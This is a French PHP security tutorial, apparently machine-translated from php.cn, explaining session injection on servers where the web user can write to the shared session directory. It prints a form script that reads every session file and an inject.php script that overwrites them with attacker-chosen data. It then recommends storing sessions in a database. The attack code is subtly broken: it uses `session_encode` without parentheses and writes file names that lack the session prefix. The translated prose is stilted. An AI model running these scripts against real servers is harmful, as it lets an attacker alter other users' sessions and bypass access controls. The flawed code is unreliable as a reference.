Un problème similaire à l’exposition de session est l’injection de session. Ce type d'attaque repose sur le fait que votre serveur WEB dispose non seulement d'autorisations de lecture sur le répertoire de stockage de la session, mais également d'autorisations d'écriture. Par conséquent, il est possible d'écrire un script permettant à d'autres utilisateurs d'ajouter, de modifier ou de supprimer des sessions. L'exemple suivant montre un formulaire HTML qui permet aux utilisateurs de modifier facilement les données de session existantes :
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
Le script inject.php effectue les modifications précisées par le formulaire :
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
De telles attaques sont extrêmement dangereuses. Un attaquant peut modifier non seulement les données de vos utilisateurs, mais également ses propres données de session. Il est plus puissant que le détournement de session car l'attaquant peut sélectionner toutes les données de session à modifier, permettant ainsi de contourner les restrictions d'accès et autres mesures de sécurité.
La meilleure solution à ce problème est de sauvegarder les données de session dans une base de données. Voir indiqué dans la section précédente.
Ce qui précède est le contenu de l'injection de session de sécurité PHP. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn). !